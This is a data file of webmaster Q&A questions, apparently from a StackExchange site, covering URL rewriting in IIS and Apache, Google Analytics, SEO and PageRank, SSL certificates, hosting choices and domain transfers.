{"id":"31330","title":"Best way to redirect in IIS","text":"We have a website that has two URLs (one for the US side and another for the Canadian side which is then broken into Canadian English and Canadian French). For the purposes of my question, I will write as: * www.us_url.com (US) * www.canada_url.ca\/ca_en\/ (Canadian English) * www.canada_url.ca\/ca_fr\/ (Canadian French) To make sure people are on the correct site, what do I do if they go to the US URL with Canadian English content (e.g. www.us_url.com\/ca_en\/canada.asp) but I want to make sure the URL is the Canadian one (e.g. www.canada_url.ca\/ca_en\/canada.asp) so it shows up properly in Google Analytics. We're using IIS 7 and classic ASP."}
{"id":"27965","title":"How can I track hits to areas of my web application?","text":"We have a growing web application, and we currently use Google Analytics and Chartbeat to track usage and engagement (although we're open to alternatives). Unfortunately, both are geared towards content-based sites where everything is about the URL. Our URLs contain object IDs, making them less useful independently, and causing us to grow beyond Google Analytics' 50,000 unique URLs per day. How can we track hits to areas of our web application, essentially ignoring parts of the URLs?"}
{"id":"215","title":"How do I implement advertising on my page?","text":"I want to make a little bit of cash on the side for my site. 1. Who should I use for advertising? 2. What are the best practices for ad placement? * What are the best ways to keep advertising unobtrusive? 3. When is too much advertising too much advertising? 4. Are there better ways to make money from a site than text ads?"}
{"id":"38594","title":"\"Most linked content\" - a page has disappeared","text":"So for my site, under \"Most linked content\" there is a whole list of pages, but one top page has recently disappeared. It used to be on the list with about 1000+ incoming links. Now it's totally gone. Is this just something that happens? Or is there a reason behind it? I've fetched the page and resubmitted it, which I assume will take a while to come back. Thanks!"}
{"id":"29509","title":"mod_rewrite for directories","text":"One of our developers who built the framework that our website uses is no longer with us and I appear to have a stack of issues across the site currently, one being URL rewriting across the site. This is what we have at the moment:- RewriteRule ^(.*)\/(.*)$ index.php?page_name=$1&sub=$2 [NC,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !(\\.[a-zA-Z0-9]{1,5}|\/)$ This currently rewrites URL's correctly in the sense that... **`domain.com\/index.php?page_name=products`** would be rewritten to **`domain.com\/products`** But if you try to access a path that exists on the server but not in the database such as. **`domain.com\/fonts`** this is trying to be rewritten to **`domain.com\/fonts\/?page_name=fonts&sub=`** and throws a redirect loop error in the browser. I think I need to be rewriting directory paths as well as what we are currently - I'm not too sure whether this is code that has to be rewritten or whether we can easily achieve this from an addition rule in _.htaccess_. **Edit: To include full rewrite sections from domain following on from Justin's answer below...** RewriteEngine on RewriteCond %{REQUEST_URI} !\\.(jpg|png|gif|css|js|get.php|addon.php|script.php|rss.php|favicon.ico|feed.php|301.php|oldsite\/|clientarea\/|htc|PIE.php)$ RewriteRule ^(.*)\/(.*)$ index.php?page_name=$1&sub=$2 [NC,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !(\\.[a-zA-Z0-9]{1,5}|\/)$ ## FIXES TRAILING SLASH ## RewriteRule (.*)([^\/])$ http:\/\/www.domain.com\/$1$2\/ [R=301,L] RewriteRule ^$ home\/ [NC,L] RewriteCond %{HTTPS} ^on$ RewriteCond %{REQUEST_URI} ^\/robots.txt$ RewriteRule ^(.*)$ \/robots_https.txt [L]"}
{"id":"29055","title":"What are user-defined variables inside Google Analytics","text":"I am starting to look at my analytics properly and noticed that for one site under User-Defined variables I am getting results for: * usercount-2012-14 * NO SILVERLIGHT Can someone explain what the idea of User-Defined variables is and if they ever come in useful?"}
{"id":"56630","title":"Is it Better to Use a Separate VPS for Each Website or Have One, Stronger VPS?","text":"In what situations should one purchase multiple VPSes to host multiple websites? For instance, renting three VPSes with 1GB RAM 3 times vs renting one VPS with 3GB RAM? The problem I am currently having with multiple VPSes is that I have to setup a lot of configurations on each, and as they generally all need email (PostFix), LAMP and the same Apache configurations, I'm finding it very frustrating to use. Therefore the top priority is going to be performance and ease of maintainance. Which path shall I take? I appreciate all opinions with points backed up."}
{"id":"29505","title":"Paragraph tags in different browsers with SDL Tridion?","text":"In the SDL Tridion 2011 content management system, when editing a component in a rich text field (RTF) I noticed pressing enter results in different HTML tags in the source. I think it's based on browser since I get `<div>` with Chrome. How do I make sure I get `<p>` tags in all browsers? **Update:** SDL Tridion 2011 SP1 has the following in the default XSLT schema rich text filter, which appears to fix the scenario of pressing enter when editing regular Body Text or paragraphs. I still have the issue when pressing enter after a heading, which comes out as a `div` in Chrome. <stylesheet xmlns=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\" version=\"1.0\"> <output omit-xml-declaration=\"yes\" method=\"xml\" cdata-section-elements=\"script\"><\/output> <template match=\"\/ | node() | @*\"> <copy> <apply-templates select=\"node() | @*\"><\/apply-templates> <\/copy> <\/template> <template match=\"*[ (self::br or self::p or self::div) and normalize-space(translate(., ' ', '')) = '' and not(@*) and not(processing-instruction()) and not(comment()) and not(*[not(self::br) or @* or * or node()]) and not(following::node()[not( (self::text() or self::br or self::p or self::div) and normalize-space(translate(., ' ', '')) = '' and not(@*) and not(processing-instruction()) and not(comment()) and not(*[not(self::br) or @* or * or node()]) )]) ]\"> <!-- ignore all paragraphs and line-breaks at the end that have nothing but (non-breaking) spaces and line breaks --> <\/template> <template match=\"br[parent::div and not(preceding-sibling::node()) and not(following-sibling::node())]\"> <!-- Chrome generates <div><br\/><\/div>. Renders differently in different browsers. Replace it with a non-breaking space --> <text> <\/text> <\/template> <\/stylesheet> Updated question then is: **How do I make sure I get`<p>` tags in all browsers, even when pressing enter after a heading?**"}
{"id":"29500","title":"Show other domain using DNS instead of iframe","text":"I have two domains bought at different providers and I would like `http:\/\/aaaaa.com` to show `http:\/\/bbbbb.com\/aaaaa`. Is this possible using only DNS? Must I transfer the domain to my hosting provider? I really don't want to use a redirection or iframe."}
{"id":"1317","title":"Which hoster for asp.net application using BlackfishSQL?","text":"I am working on a asp.net application based on a desktop app I wrote which will use BlackfishSQL as its backend. Now I need a hoster. I think I can deploy this on Linux using Mono (and I will in fact test it that way) which means I have options and can choose between Windows and Linux hosts. BlackfishSQL itself is managed code. Can someone point me to a good Web hosting company offering Linux or Windows servers for projects like mine? I don't think I need much traffic and certainly not much disk space. I do, however, need .NET 2.0 (possibly higher) and Mono 2.4 or higher."}
{"id":"36452","title":"How to ensure apache2 reads htaccess for custom expiry?","text":"I have a site with Apache 2.2.22 . I have enabled the mod-expires and mod- headers modules seemingly correctly: $ apachectl -t -D DUMP_MODULES … expires_module (shared) headers_module (shared) … Settings include: ExpiresActive On ExpiresDefault \"access plus 10 minutes\" ExpiresByType application\/xml \"access plus 1 minute\" Checking the headers of requests, I see that max-age is set correctly both for the generic case and for xml files (which are auto-generated, but mostly static). I would like to have different expiries for xml files in a directory (e.g. `\/data`), so `http:\/\/site\/data\/sample.xml` expires 24 hours later. I enter the following in `data\/.htaccess`: ExpiresByType application\/xml \"access plus 24 hours\" Header set Cache-control \"max-age=86400, public\" but it seems that apache ignores this. How can I ensure apache2 uses the .htaccess directives? I can provide further information if requested."}
{"id":"54639","title":"Is there a way I can filter traffic by page-type based upon URL structure in Google-Analytics or Google Webmaster Tools?","text":"I have a local business directory site. I'm trying to segment my incoming traffic by page-type such that I can find out what percentage of traffic is going to zip code pages exclusively and what percentage is going to city\/state level pages. I basically want to filter by URL structure to find out what percentage of total traffic zip code pages account for. The reason for doing this is to find out if Google Tag Manager can help with this? Here are the two URL paths: * http:\/\/www.example.com\/ny\/new-york\/10011\/ * http:\/\/www.example.com\/ny\/new-york"}
{"id":"28906","title":"Navigation: Sub-menu item for section page","text":"I'm considering some small navigation changes to one of my sites. Consider the following (simplified) site structure: * About Some Technology * About Some Technology * Our Products * Products Overview * Product 1 * Product 2 * Our Services * Services Overview * Service A * Service B [ _This is a vertical menu; in addition we have a horizontal menu with the usual suspects - Home\/FAQs\/Contact us_ ] In the current configuration, the three top-level menu items simply expand the sub-menus, So to get to 'About Some Technology', it takes a couple of clicks, which I think is annoying and wasteful. Most importantly, the MD doesn't like it so it's going to change. However, I'm torn between two alternatives; either would be fine, I'm sure - certainly that little bit better than the current. But I thought I'd find out what the community would consider good or best-practice. My two suggested alternatives are: 1. Clicking on main menu will redirect to the 'overview' page for that section. 2. We remove the overview pages, and make the main menu items into real pages, so when a section is selected, the page is rendered, and the menu is expanded to show other sub-items. I don't see any problems moving forwards, but there may be an issue going backwards. Image a user selecting Our Services and then Service A. Under Approach 1, they can go back to the overview page by clicking on it directly, by clicking on the Main menu item, or clicking on the breadcrumb links. Under Approach 2, you have the main menu and the breadcrumb trail. I have one person that thinks the original is the best, and that either of the two alternatives present usability issues - which I don't agree with. Another wants the 'simplest' option, i.e. removing 'unnecessary links' (#2). I think I currently prefer #1 because it eliminates unnecessary clicks but still presents a consistent and predictable structure for the user. So the question is, what do people think is best in terms of usability (and why)? I did go to the trouble of comparing some similar sites (in terms of size\/industry\/etc) but it wasn't that successful - there are some really shocking sites still out there!"}
{"id":"28904","title":"Is it possible to track 404 images with google analytics?","text":"I know I can track 404's using google analytic's, but our images are served from a CDN and we can't control the 404 page that is served from the CDN. Is there a way that I can detect missing images and track that via google analytics?"}
{"id":"28903","title":"Should I still support a screen resolution of 1024x786 or can I ignore it and support 1280x720 and higher?","text":"Only for websites, not webapps. There are not many computers left with 1024x786, so why still support it?"}
{"id":"5","title":"What are some good resources for doing A\/B testing of a website?","text":"I know of Google Website Optimizer and have used it some, and it's pretty good. Are there better options? Any good blogs about A\/B testing?"}
{"id":"15426","title":"How do PR checkers work?","text":"**How do the millions of online 'pagerank checker' tools work?** Don't get me wrong, pagerank means very little to me, I just wondered how they give you a pagerank number, given that many of them give you a different score to other tools..."}
{"id":"6442","title":"Who is the \"anti-Matt Cutts\" in terms of providing factual comment on the SEO knowledgebase","text":"Matt Cutts is so often quoted when attempting to provide facts that support the SEO logic which, without him, is otherwise just deduced or reverse engineered. We hang onto his statements to make facts out of the things we have culled together... and that's a good way to describe the knowledge base of the SEO community... \"culled together.\" I mean this in no disrespect to anyone, including Matt Cutts and our profession as a whole. I have to wonder, though, who is an authority on SEO who is an active participant in online communities, but is _not_ conflicted due to their responsibility to their employer, such as Matt Cutts. My reasons for looking past Matt and the Google Webmaster Forums are: * \"We can't tell you what we're doing because you'll game the system.\" * \"Don't game the system because we'll catch you programmatically [and it will hurt].\" To me, the natural response to those should be (in order): * Seriously? I'd like to make sure that I publish my information in an optimal way that complements your particular algorithms because it's good for everyone. * I know that my competitors cheat and you haven't caught them, and because they are cheating I cannot outrank them even though my pages are equally relevant and \"do no evil\" (to quote the GOOG). What am I to do? Should I resign just to hope your next algorithm will de-rank them and I'll suddenly benefit from my wholesomeness? **Who are the people publicly providing guidance to SEO technicians, backing it not with inside information** (and the restraint that requires), **but with evidence such as test results and citations from patent filings?** While some may decry my question as completely subjective, I'll state that in some other disciplines of our profession there are a number experts we have knighted such as Jakob Nielsen (usability)."}
{"id":"15423","title":"Hosting blogs in tumblr and redirecting custom page","text":"I've a blog hosted at tumblr (own domain). Before that, I was hosting my blog using wordpress. When I was using wordpress, my permalink is like `<domain>\/<year>\/<month>\/<date>\/<article name>`, but after shifting to tumblr, the permalinks are now different. So when people visit the old link, I want to make a 301 redirect; or at least prepare a custom page to inform them that the site has been changed. How do I do that??"}
{"id":"7331","title":"Will Signing up for Yahoo Directory Significantly Improve SERP for a Flex Site?","text":"> **Possible Duplicate:** > SEO: What are SEO benefits of submitting to Yahoo Directory? Is Yahoo Directory worth the $299? Will it generate any traffic? I've got a Flex 3 site, so unfortunately, I'm invisible in SEO terms. I was wondering if signing up for this would help. Thank you. -Laxmidi"}
{"id":"48823","title":"If I have a blog on Tumblr that is also embedded on my website - will this negatively impact my search engine rankings for either URL?","text":"If I have a blog on Tumblr that is also embedded on my website - will this negatively impact (because of duplicate content) my search engine rankings for either URL?"}
{"id":"6919","title":"Website won't load in Firefox 3.6.13","text":"After the latest version of Firefox came out, I've been having problems with my website. The site is: http:\/\/mojheroj.com It works fine in all other browsers, as well as older versions of Firefox and Firefox 4.0 beta 7, but it just won't load in 3.6.13. When I try, all I get is a blank page. I don't even get an error. At first I thought it might be a problem with the program, so I tried clearing the cache, reinstalling, opening the page in safe-mode, but nothing helped. After checking with some friends, they seem to have the same problem. The website is done in Joomla, with some jQuery. To make things even weirder, I can access the administrator part of the site through Firefox just fine. Also, when I change the browser's user agent, Firefox can open my page. So, I'm guessing that's where the problem lies, but I don't know how to fix it. I tried checking Joomla's .htaccess file, but the USER_AGENT property isn't defined at all. Could someone please help me how I could fix this? I really need the website to work in Firefox. Thank you."}
{"id":"31393","title":"How to force user to use subdomain?","text":"> **Possible Duplicate:** > How do I prevent access to an add-on domain's root directory from main > hosting domain name I am hosting a webshop with OpenCart and its current URL is e.g. http:\/\/mydomain.com\/shop\/ I have created two subdomains ( http:\/\/pg.mydomain.com\/ and http:\/\/shop.mydomain.com\/ ) and both subdomains are already working as they should. However, can I restrict direct access to mydomain.com\/shop\/ while leaving all the files (index.php, etc.) there? Since both subdomains are pointing to http:\/\/mydomain.com\/shop\/, I thought this would restrict all access. So in the end, I would like my two shops to be accessable through http:\/\/pg.mydomain.com\/ and http:\/\/shop.mydomain.com\/, but not http:\/\/mydomain.com\/shop\/ while leaving all the files in http:\/\/mydomain.com\/shop\/."}
{"id":"59259","title":"Deploying GIT repository via FTPS to a shared hosting","text":"I would like to start using GIT for version controling. Here are my prerequisites: * I'm on **Windows** * Most of the time I would need to work on **Wordpress templates** * I have to deploy on multiple shared hosting services - **no SSH access** * Some of the hosting services **offer GIT hosting** , but the connection is **only via HTTP (WebDav)** I think the solution might be: 1. Clone https:\/\/github.com\/markjaquith\/WordPress-Skeleton to a local **main repo** to have always updated WP installation. 2. Turn on **Wordpress multi-site** to be able to develop more plugins on one WP installation. 3. Develop **Wordpress themes locally as GIT submodules** - _should I then add paths to the WP themes to main repo's .gitignore to not to track changes twice (main repo+submodule)?_ 4. **Commit changes to BitBucket** account to have all of the repos at one place 5. When deploying: * on hosting with GIT: add **remote GIT repository** (on the hosting), push to the repository via WebDav from the local repo and deploy * on hosting without GIT: use something like - **git-ftp** : http:\/\/anantgarg.com\/2013\/09\/25\/git-ftp-for-windows\/ to copy the changed files from local GIT to remote hosting via FTP - _but I wasn't able to find if it is possible to upload via FTPS_ What are the disadvantages to this? Is there a better (free!) solution? BTW: is it safe (secure connection) to connect to a remote repository like: https:\/\/username:password@myhosting.tld ? Won't anyone be able to see the username and password?"}
{"id":"48689","title":"Virtual host in Apache Zend","text":"I'd like to ask you if you can tell me why I can't get Vhost in Apache to work my Vhostconf is: NameVirtualHost *:80 <VirtualHost _default_:80> ServerAdmin webmaster@dummy-host2.example.com DocumentRoot \"E:\/Archivos de programa\/Zend\/Apache2\/htdocs\" ServerName localhost <Directory \"E:\/Archivos de programa\/Zend\/Apache2\/htdocs\"> Options FollowSymLinks AllowOverride All Order allow,deny Allow from all <\/Directory> #AllowOveride all <\/VirtualHost> <VirtualHost *:80> ServerAdmin webmaster@dummy-host2.example.com DocumentRoot \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\/HealingHands\" ServerName healinghands.loc <Directory \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\/HealingHands\"> Options FollowSymLinks AllowOverride All Order allow,deny Allow from all <\/Directory> ErrorLog \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\/HealingHands\/logs\/error.log\" CustomLog \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\/HealingHands\/logs\/access.log\" common #AllowOveride all <\/VirtualHost> <VirtualHost *:80> ServerAdmin webmaster@dummy-host2.example.com DocumentRoot \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\" ServerName dev.loc <Directory \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\"> Options FollowSymLinks AllowOverride All Order allow,deny Allow from all <\/Directory> ErrorLog \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\/logs\/error.log\" CustomLog \"E:\/Documents and Settings\/dvieira\/Mis documentos\/NetBeansProjects\/logs\/access.log\" common #AllowOveride all <\/VirtualHost> My _httpd.conf_ is: ServerRoot \"E:\\Archivos de programa\\Zend\\Apache2\" Listen 80 LoadModule actions_module modules\/mod_actions.so LoadModule alias_module modules\/mod_alias.so LoadModule asis_module modules\/mod_asis.so LoadModule auth_basic_module modules\/mod_auth_basic.so LoadModule auth_digest_module modules\/mod_auth_digest.so LoadModule authn_default_module modules\/mod_authn_default.so LoadModule authn_file_module modules\/mod_authn_file.so LoadModule authz_default_module modules\/mod_authz_default.so LoadModule authz_groupfile_module modules\/mod_authz_groupfile.so LoadModule authz_host_module modules\/mod_authz_host.so LoadModule authz_user_module modules\/mod_authz_user.so LoadModule autoindex_module modules\/mod_autoindex.so LoadModule cgi_module modules\/mod_cgi.so LoadModule dir_module modules\/mod_dir.so LoadModule env_module modules\/mod_env.so LoadModule filter_module modules\/mod_filter.so LoadModule headers_module modules\/mod_headers.so LoadModule imagemap_module modules\/mod_imagemap.so LoadModule include_module modules\/mod_include.so LoadModule info_module modules\/mod_info.so LoadModule isapi_module modules\/mod_isapi.so LoadModule log_config_module modules\/mod_log_config.so LoadModule mime_module modules\/mod_mime.so LoadModule mime_magic_module modules\/mod_mime_magic.so LoadModule negotiation_module modules\/mod_negotiation.so LoadModule rewrite_module modules\/mod_rewrite.so LoadModule setenvif_module modules\/mod_setenvif.so LoadModule ssl_module modules\/mod_ssl.so LoadModule status_module modules\/mod_status.so LoadModule userdir_module modules\/mod_userdir.so <IfModule !mpm_netware_module> <IfModule !mpm_winnt_module> User daemon Group daemon <\/IfModule> <\/IfModule> ServerAdmin admin@example.com DocumentRoot \"E:\\Archivos de programa\\Zend\\Apache2\/htdocs\" <Directory \/> Options FollowSymLinks AllowOverride all Order allow,deny Allow from all <\/Directory> <IfModule dir_module> DirectoryIndex index.php index.html home.php <\/IfModule> <FilesMatch \"^\\.ht\"> Order allow,deny Deny from all Satisfy All <\/FilesMatch> ErrorLog \"logs\/error.log\" LogLevel warn <IfModule log_config_module> LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common <IfModule logio_module> LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\" %I %O\" combinedio <\/IfModule> CustomLog \"logs\/access.log\" common <\/IfModule> <IfModule alias_module> Alias \/NetBeansProjects \"E:\\Documents and Settings\\dvieira\\Mis documentos\\NetBeansProjects\" ScriptAlias \/cgi-bin\/ \"E:\\Archivos de programa\\Zend\\Apache2\/cgi-bin\/\" <\/IfModule> <IfModule cgid_module> <\/IfModule> <Directory \"E:\\Archivos de programa\\Zend\\Apache2\/cgi-bin\"> AllowOverride None Options None Order allow,deny Allow from all <\/Directory> DefaultType text\/plain <IfModule mime_module> TypesConfig conf\/mime.types AddType application\/x-compress .Z AddType application\/x-gzip .gz .tgz <\/IfModule> Include conf\/extra\/httpd-vhosts.conf <IfModule ssl_module> SSLRandomSeed startup builtin SSLRandomSeed connect builtin <\/IfModule> Include \"conf\/zend.conf\" NameVirtualHost *:80 <VirtualHost *:80> Include \"E:\\Archivos de programa\\Zend\\ZendServer\/etc\/sites.d\/zend-default-vhost-80.conf\" <\/VirtualHost> Include \"E:\\Archivos de programa\\Zend\\ZendServer\/etc\/sites.d\/globals-*.conf\" Include \"E:\\Archivos de programa\\Zend\\ZendServer\/etc\/sites.d\/vhost_*.conf\" And my host in Windows: 127.0.0.1 localhost 127.0.0.1 healinghands.loc 127.0.0.1 dev.loc And I can't get any of the browser to recognize _dev.loc_ or _healinghands.loc_ but a ping does it. Localhost is working fine. I've spent 3 days now traying to solve this for my one but I finally quit and have to ask. The error should be this `Error Code 11002: host not found`. Background: this error indicates that the gateway could not find an authoritative DNS server for the website you are trying to access. Date: 5\/20\/2013 5:51:03 PM Server: Source: DNS problem. i'd like to add this ping Haciendo ping a healinghands.loc [127.0.0.1] con 32 bytes de datos: Respuesta desde 127.0.0.1: bytes=32 tiempo<1m TTL=128 Respuesta desde 127.0.0.1: bytes=32 tiempo<1m TTL=128 Respuesta desde 127.0.0.1: bytes=32 tiempo<1m TTL=128 Respuesta desde 127.0.0.1: bytes=32 tiempo<1m TTL=128 Estadísticas de ping para 127.0.0.1: Paquetes: enviados = 4, recibidos = 4, perdidos = 0 (0% perdidos), Tiempos aproximados de ida y vuelta en milisegundos: Mínimo = 0ms, Máximo = 0ms, Media = 0ms Today i've tryed something: i've add this domains into the exceptions of mi ie proxy config. This worked for healinghands.loc but not for dev.loc i really do not understand why, both config are exactly the same except for de documentroot. I will continue searching"}
{"id":"63160","title":"In terms of SEO, is it ok to have the same word in singular and plural in the URL?","text":"In terms of SEO, is it ok to have the same word in singular and plural in the URL? For example, I have a website to sell houses but I want to target for \"house\" and \"houses\", so if a person search \"buy house\" or \"buy houses\" my website can be in the results of Google. So, is it ok to have a URL like `www.nicehouses.com\/house\/type1.html`? Would Google process both terms? or will it be treated as spam? Is it a good idea to do this?"}
{"id":"59252","title":"Google web search shows dateCreated instead of dateModified metadata","text":"So today I discovered that the pages from my website are listed with an unexpected date value. I specify the schema.org properties `dateCreated` and `dateModified` for most of my content pages. I'd expect that search results show me when a page was last updated, to get a sense of the currency of the page. But it's showing the date of first publishing which may be years ago. That's a bit unsatisfying but I don't want to misuse the metadata because Google probably reads it wrong. Some search terms for you to try it out: \"gitrevisiontool\"; \"easyxml\"; \"multiselecttreeview\" (look for the results on dev.unclassified.de; the human- and machine-readable dates come at the end of the page) Does anybody know more about what's wrong here? Or does it work as designed? (What a stupid design that would be.)"}
{"id":"25663","title":"SERP update frequency","text":"Recently I changed my site improving the `title` and `description` metatags of many pages. Looking at Webmaster Tools I saw that Googlebot already crawled the new contents (and also found duplicate titles I promptly fixed), but the search results pages still have the old descriptions and titles. Is it know how much time is needed by Google to update the SERPs? In your experience, is it something happening really fast or really slow, supposing a rule to exist?"}
{"id":"50819","title":"How can I match size information in an AdWords query?","text":"I want to create keywords containing a size. eg. * rugs 90 x 60 * rugs 180 x 120 * rugs 400 x 300 It seems this is possible as Amazon actually shows ads like this for such a query. They also insert it into the headline, body and URL. How can I do that? If I just create lots of keywords I can obviously not easily target every possible size. I am also afraid it is not so easy to have the ad not blocked for low impressions. UPDATE: I found out Amazon just has a list of very many popular sizes and ads will not trigger on odd queries like \"rugs 91 x 53\". This data can theoretically be captured on the server side to show a better landing page by using the query field in the referrer. It seems adwords is completely text based and nothing akin to Regexp is possible at all. One can also not mix exact and broad match keywords in one query to help write less ads."}
{"id":"31509","title":"web.config to redirect except some given IPs","text":"I'm looking for a web.config which is equivalent as the .htaccess file below. <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{REMOTE_HOST} !^123\\.123\\.123\\.123 RewriteCond %{REMOTE_HOST} !^321\\.321\\.321\\.321 RewriteCond %{REQUEST_URI} !\/coming-soon\\.html$ RewriteRule (.*)$ \/coming-soon.html [R=302,L] <\/IfModule> Which redirects everyone to a coming soon page except for the given IPs. Unfortunately I'm not familiar with IIS."}
{"id":"31058","title":"Should I add some new texts in the existing page or make a new page for them?","text":"I'm going to add new content about Paypal campaign on my site. But its content is not that big enough for a page(50 -100 words). And I'm wondering if I should add it to the existing related page (e.g. the page for using fee) or make a new page just for the campaign."}
{"id":"50814","title":"How does comScore determine gender?","text":"I am curious how comscore determines gender, and would love to see some official documentation or information regarding this if possible."}
{"id":"7725","title":"My Flex 3 Website Doesn't Have Any Keywords Listed in Google's Webmaster Tools","text":"I've got a Flex 3 website. When I in Google's webmaster tools -> Your site on the web -> Keywords, none are listed. Does anyone have an all-Flex site that has keywords listed for it the above? The sites been up for about a month. It's been indexed by Google. I have keyword metatags in the site, which from what I've read Google ignores. Where does google come up with the keywords for your site? Any suggestions on what I need to do? Thank you. -Laxmidi www.brainpinata.com"}
{"id":"35020","title":"rel=\"Canonical\": Ranking Benefits ? & specifying for PDF?","text":"I think I understand the basic case for using rel=\"canonical\": to tell Google which is the preferred URI when the same page\/content may be accessed via more than one URI. This helps you avoid duplicate content penalties. But what else does it do? Does it also affect search ranking? i.e. will the page I specify in the canonical be ranked higher than the others? (if all else equal). And in the case of PDF documents, I understand that you can now specify rel=\"canonical\" for them too, using HTTP headers (i.e. in htaccess). Again, this would obviously help avoid duplicate content penalties if the PDF content is the same as the HTML page or if it can be accessed in more than one place. But does it affect ranking? or are there any other benefits to doing this."}
{"id":"22173","title":"I want to be a developer (website and web application) and want to choose asp.net as a programming lang","text":"I want to be a developer (website and web application) and want to choose asp.net as a programming lang. I am currently an intermediate web designer. My friend told me that there are many things in asp.net My question is I am interested in **website and web application development** Is there any specific thing I have to learn to be a web developer or I have to learn the whole. Also, what does a developer has to do? key skills if he choose asp.net? Thanks :)"}
{"id":"19479","title":"Which of these url for Feeds for the Sitemap should I use?","text":"Does it matter which of these I add to my Sitemaps file? http:\/\/example.com\/?feed=rss http:\/\/example.com\/?feed=rss2 http:\/\/example.com\/?feed=rdf http:\/\/example.com\/?feed=atom"}
{"id":"32557","title":"Expiring domain transfer","text":"A domain I own with a registrar is expiring next month. I want to change registrar. Is there a way of changing registrar exactly on expiration date or the only way is to start (and pay) the transfer procedure? I don't want to let the domain expire even for few minutes."}
{"id":"3943","title":"why is having (or excluding) 'www' in the URL affecting how my site displays to users?","text":"I am cleaning markup on a website for my first customer. I did not build the site; I want to remove the table-based design and replace it with proper CSS, before I add a shopping cart to the site. http:\/\/www.theresheglowsdayspa.com I noticed by accident that the appearance will change if 'www' is removed from the URL. Can someone explain what's going on here? Also, is there a best practice with 'www' or no 'www' in the URL?"}
{"id":"19472","title":"Forward slash on urls in the Sitemap file?","text":"At the following page: http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=183668#2 the urls given in the Sitemap example don't have a forward slash at the end. But i think i heard somewhere that they should. In my Sitemap file, should I include a forward slash\/ on the end of each url? Or does it not matter?"}
{"id":"3945","title":"Googleability on StackExchange questions?","text":"There has been a recent discussion on the AskUbuntu StackExchange site about including the word \"Ubuntu\" in questions to provide better \"googleablility\". While I assume this is wrong, I don't know enough about Search Crawlers and the StackExchange platform to confirm this."}
{"id":"32882","title":"Why is Google still not indexing my !# website?","text":"I have been working on a website which uses `#!` (2minutecv.com), but even after 6 weeks of the site up and running and conforming to the Google hash bang guidelines stated here, you can still see that Google still hasn't indexed the site yet. For example if you use Google to search for 2MinuteCV.com benefits it does not find this page which is referenced from the homepage. Can anyone tell me why Google isn't indexing this website? ## Update: Thanks for al lthe help with this answer. So just to make sure I understand what is wrong. According to the answers Google never actually indexes the pages after the Javascript has run. I need to create a \"shadow site\" which google indexes (which google calls HTNL snapshots). If I am right in thinking this then I can pick a winner for the bounty ## Update 2: Since this was posted we have now switched to having static HTML files on our server. This is simple, fast, and gets indexed properly by google"}
{"id":"58896","title":"Does the server type matter when purchasing an SSL certificate from Network Solutions for NodeJS?","text":"I am running an instance of ExpressJS using NodeJS and wish to have it start using `HTTPS`. My company purchases SSL certificates through Network Solutions. When trying to give them my CSR, Network Solutions asks for the type of web server I am using. (i.e. IIS, Apache w\/ModSSL, Plesk, etc.) It doesn't offer any option for NodeJS or other. I have contacted their support with my question but while I wait I would like to know from the community. 1. Which server type should I use? and 2. Does it even matter? If relevant, I generated the CSR with OpenSSL on Ubuntu."}
{"id":"6703","title":"Should every page on every site be behind SSL?","text":"This question stemmed from a discussion here: Ad networks that will serve via https? My question to the OP was \"is it necessary to have every page behind SSL?\" Admittedly at the time of posting this question, the OP hadn't got back to me to let me know what kind of site he had, was everything behind a login etc etc I agree that if everything was behind a login then yes, it should also be protected by an SSL certificate, but if (for example) the site was a wordpress blog, would it be necessary for the parts of the site that were just going to be viewed by your average user (i.e. one that's not logged in) to be accessed over HTTPS. Admittedly, if you were logged in and viewing the \"front-end\" of the site, it would send over your cookie, but as long as you took precautions against that then it should be ok, right?"}
{"id":"8321","title":"Miscellaneous ways to get higher pagerank","text":"I would like to get higher pagerank for my blog. I know good contents are most important for SEO. But I guess there are miscellaneous things(but legal) which site operators should know. These are something I wanted to know. * What if I send a tracback to someone else's blog, does it help my blog's pagerank? * If I register a comment to other blogs(with my blog address), does it help my blog's pagerank? * http:\/\/benjaminlog.com\/ <- I just wrote my blog address at here. does it help my blog's pagerank? * If I send a tracback to someone's blog which is very famous, does it help my blog's pagerank **much more**? * If I register a comment to other blogs which is very famous, does it help my blog's pagerank **much more**? * If I write a post at newsgroup(include blog address to my signature), does it help my blog's pagerank? If you have any tips else, please answer it."}
{"id":"8320","title":"<a> link color CSS not working for Chrome\/Firefox\/IE\/Safari etc","text":"Here is my site: http:\/\/dosrevival.com I can't seem to get the links to stop turning purple after being clicked in Chrome and IE (works in some Firefox versions?!?). In my CSS file I'm changing the a:link and a:hover 'color' to white and the 'text-decoration' to none or underlined as necessary. What's making Chrome throw this back up? Thanks!"}
{"id":"43563","title":"How to see backlink history","text":"Is there a way to see a graphical representation of a website's backlink history? I have tried Magestic SEO, but the data looks inaccurate:  Does Google Webmaster Tools come with such a data visualisation tool?"}
{"id":"12074","title":"Domain name coining issue","text":"I've found two keyword search from Google keyword tool: * \"K1 run\" (Phrase match,320,000 local monthly searches) * \"K2 run\" (75,000 local monthly searches) K1,K2 are not dictionary word while run is. Will it be ok to register domain: **K1runK2run**? Or should I go with **K1K2run** ?"}
